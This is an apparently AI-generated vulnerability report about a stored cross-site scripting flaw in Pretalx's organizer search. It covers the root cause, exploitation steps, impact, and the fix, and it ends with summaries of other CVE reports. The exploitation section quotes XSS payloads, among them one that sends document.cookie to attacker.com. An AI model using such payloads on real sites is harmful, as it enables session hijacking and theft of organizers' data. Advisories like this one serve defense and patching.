CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-CJCX-JFP2-F7M2

GHSA-CJCX-JFP2-F7M2: High-Severity Stored XSS in Pretalx Organizer Search Interface

Amit Schendel
Amit Schendel
Senior Security Researcher

Apr 19, 2026·5 min read·21 visits

Executive Summary (TL;DR)

A stored XSS vulnerability in the Pretalx search typeahead feature allows low-privileged users to execute arbitrary JavaScript in the context of administrative organizer accounts, enabling session hijacking and unauthorized administrative actions.

Pretalx versions prior to 2026.1.0 contain a high-severity stored Cross-Site Scripting (XSS) vulnerability within the organizer-facing search interface. Low-privileged users, such as speakers or proposal submitters, can inject malicious JavaScript into their profiles or submissions. When an organizer searches for these records, the application insecurely renders the results using `innerHTML`, leading to arbitrary script execution in the organizer's browser.

Vulnerability Overview

Pretalx is an open-source conference planning tool that provides platforms for call for papers (CfP), schedule management, and speaker communication. The platform defines distinct privilege levels, separating unprivileged submitters or speakers from highly privileged conference organizers and administrators. The organizer interface includes a typeahead search functionality designed to quickly locate submissions, speaker profiles, and user accounts.

The vulnerability, tracked as GHSA-CJCX-JFP2-F7M2, is a Stored Cross-Site Scripting (XSS) flaw located in this organizer search feature. It occurs because the frontend application fails to properly sanitize user-supplied data before rendering it in the DOM. This constitutes a CWE-79 violation: Improper Neutralization of Input During Web Page Generation.

By exploiting this vulnerability, an attacker with minimal privileges can store a malicious payload within standard application fields, such as their display name or submission title. When a privileged organizer interacts with the search bar and the attacker's record is returned as a match, the malicious payload executes automatically within the organizer's session context.

Root Cause Analysis

The root cause of this vulnerability lies in the frontend JavaScript component responsible for rendering search results in the backend interface. Specifically, the flaw is located within src/pretalx/static/orga/js/base.js. This script handles the asynchronous typeahead search feature utilized by conference organizers.

When an organizer types a query, the frontend queries a backend endpoint to retrieve matching user names, emails, speaker display names, and submission titles. The frontend script iterates through the JSON response and constructs DOM elements for the dropdown menu. During this process, the script insecurely uses the innerHTML property to insert the returned text strings directly into the DOM.

The use of innerHTML for displaying untrusted data forces the browser's HTML parser to evaluate the provided string. Any HTML tags, including <script> or event handlers like onerror on an <img> tag, are executed. The backend API does not enforce strict HTML encoding on these specific fields before returning them to the frontend, relying entirely on the frontend to handle rendering securely.

Exploitation Methodology

Exploitation requires the attacker to possess an account on the target Pretalx instance, which is generally open to the public during a Call for Papers phase. The attacker logs in and creates a new proposal or updates their user profile. During this step, the attacker injects a standard XSS vector into a targeted field, such as the Submission Title.

A typical payload looks like <img src=x onerror=alert(document.cookie)> or <svg onload=fetch('https://attacker.com/?cookie='+document.cookie)>. The backend database successfully stores this payload without modification. The attacker then waits for an organizer to utilize the backend search function. The payload is entirely passive until triggered by the victim.

When the organizer types a substring that matches the attacker's manipulated record, the API returns the malicious payload in the search results. The vulnerable JavaScript in base.js writes this payload to the DOM via innerHTML. The browser immediately parses the injected HTML, encounters the error or load event, and executes the embedded JavaScript within the origin of the Pretalx application.

Impact Assessment

The CVSS v3.1 vector for this vulnerability is CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N, resulting in a base score of 8.7 (High). The impact is severe due to the privilege disparity between the attacker and the likely victim. The vulnerability facilitates horizontal to vertical privilege escalation through session riding.

Once the payload executes, the attacker's script operates with the full privileges of the organizer's active session. The script can read any data accessible to the organizer, including sensitive reviewer notes, private speaker details, and financial data related to the conference. This data can be exfiltrated silently to an external server controlled by the attacker.

Furthermore, the script can issue arbitrary HTTP requests to the Pretalx backend on behalf of the organizer. Since the script runs within the same origin, it can read the application's CSRF token from the DOM and include it in POST requests. This allows the attacker to automate administrative actions, such as modifying the event schedule, deleting submissions, altering system configurations, or granting administrative access to the attacker's account.

Remediation and Mitigation

The primary remediation for this vulnerability is to upgrade the Pretalx installation to version 2026.1.0 or later. The patch modifies src/pretalx/static/orga/js/base.js to eliminate the use of innerHTML. By replacing innerHTML with textContent or innerText, the browser correctly interprets the user input as raw text rather than executable markup.

If immediate patching is not feasible, administrators can apply a manual mitigation. Operators can edit src/pretalx/static/orga/js/base.js directly on their server to swap the vulnerable DOM manipulation methods for secure text-node assignments. After making this change, the collectstatic management command must be executed to ensure the updated asset is served to clients.

As a temporary operational workaround, conference organizers can be instructed to avoid using the backend search bar entirely. While this degrades the usability of the administrative interface, it eliminates the execution trigger for the payload. Additionally, ensuring that session cookies are flagged with the HttpOnly attribute prevents the XSS payload from directly reading the session identifier via document.cookie.

Technical Appendix

CVSS Score
8.7/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Affected Systems

Pretalx (Organizer Backend Interface)

Affected Versions Detail

Product
Affected Versions
Fixed Version
pretalx
pretalx
< 2026.1.02026.1.0
AttributeDetail
Vulnerability TypeStored Cross-Site Scripting (XSS)
CWE IDCWE-79
CVSS Score8.7 (High)
Attack VectorNetwork
Privileges RequiredLow (Submitter/Speaker)
User InteractionRequired (Organizer must search)
Exploit StatusProof of Concept Available

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Vulnerability published on the GitHub Advisory Database
2026-04-18
Pretalx v2026.1.0 released with patch
2026-04-18

References & Sources

  • [1]GitHub Advisory: GHSA-CJCX-JFP2-F7M2
  • [2]OSV Record
  • [3]Project Repository
  • [4]Official Security Support

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•31 minutes ago•CVE-2026-71869
9.3

CVE-2026-71869: Remote Code Execution in Orval via OpenAPI Default Value Template Literal Injection

CVE-2026-71869 is a critical-severity code injection vulnerability in the Orval code generator (packages: orval, @orval/core, @orval/zod) prior to version 8.21.0. This flaw allows remote attackers to execute arbitrary JavaScript code at import-time by embedding malicious payloads into the default values of OpenAPI or Swagger specifications. This report details the root cause, exploitation mechanism, and patch remediation.

Amit Schendel
Amit Schendel
1 views•7 min read
•about 2 hours ago•CVE-2026-61625
6.8

CVE-2026-61625: Arbitrary File Write via Path Traversal in VictoriaMetrics vmrestore

CVE-2026-61625 is a path traversal vulnerability (CWE-22) within the `vmrestore` utility of VictoriaMetrics. When restoring database shards from a compromised or malicious backup source, the application fails to validate the paths of backup parts before creating and writing files. By injecting objects with directory traversal sequences (such as `../`) into the remote backup storage, an attacker can write arbitrary files to out-of-bounds locations on the system executing the restore operation. Depending on the process privileges, this can result in host compromise via remote code execution.

Amit Schendel
Amit Schendel
3 views•6 min read
•about 3 hours ago•CVE-2026-73846
6.5

CVE-2026-73846: Cache Key Canonicalization Collision in ondata ckan-mcp-server

A medium-severity cache key canonicalization collision vulnerability exists in the ckan-mcp-server prior to version 0.4.112. Unescaped delimiters in key-value parameters and server URLs allow structurally distinct requests to map to the same cryptographic hash, facilitating cache poisoning and unauthorized data exposure.

Alon Barad
Alon Barad
3 views•7 min read
•about 4 hours ago•GHSA-99RQ-75J6-5J9F
8.7

GHSA-99rq-75j6-5j9f: Stored and Reflected XSS in SiYuan via SVG Sanitizer Bypass

A stored and reflected Cross-Site Scripting (XSS) vulnerability was identified in the SiYuan kernel before version v3.7.3. The flaw occurs due to a parser differential between the backend Go-based HTML sanitizer and the browser-side XML rendering engine. Attackers can bypass the SVG sanitizer to execute arbitrary JavaScript within the context of the application's origin, leading to complete workspace compromise, data exfiltration, and full local kernel API manipulation.

Amit Schendel
Amit Schendel
2 views•5 min read
•about 5 hours ago•GHSA-GW25-M53R-QH88
6.5

GHSA-gw25-m53r-qh88: Path Traversal Bypass in SiYuan Notebook via /export/temp/ Short-Circuit Branch

An incomplete mitigation in the export-handling logic of SiYuan Notebook allowed authenticated users to bypass directory traversal protections. By crafting a request with percent-encoded path navigation sequences targeting the /export/temp/ route prefix, attackers can trigger an unvalidated short-circuit block that serving arbitrary files from the host server. This bypass renders previous path-traversal mitigations ineffective for the affected endpoint.

Amit Schendel
Amit Schendel
5 views•5 min read
•about 6 hours ago•CVE-2026-62669
7.4

CVE-2026-62669: Critical Two-Factor Authentication Bypass in Grav CMS Login Plugin

CVE-2026-62669 is a critical Improper Authentication vulnerability (CWE-287) in the Grav Login Plugin for Grav CMS. Prior to version 3.8.11, the plugin's key rotation task failed to verify if a user session was fully authorized before regenerating and returning two-factor authentication (2FA) secrets. Consequently, an attacker possessing a victim's primary credentials could invoke this endpoint to replace the 2FA secret, retrieve the replacement, and bypass the MFA constraint entirely.

Amit Schendel
Amit Schendel
2 views•8 min read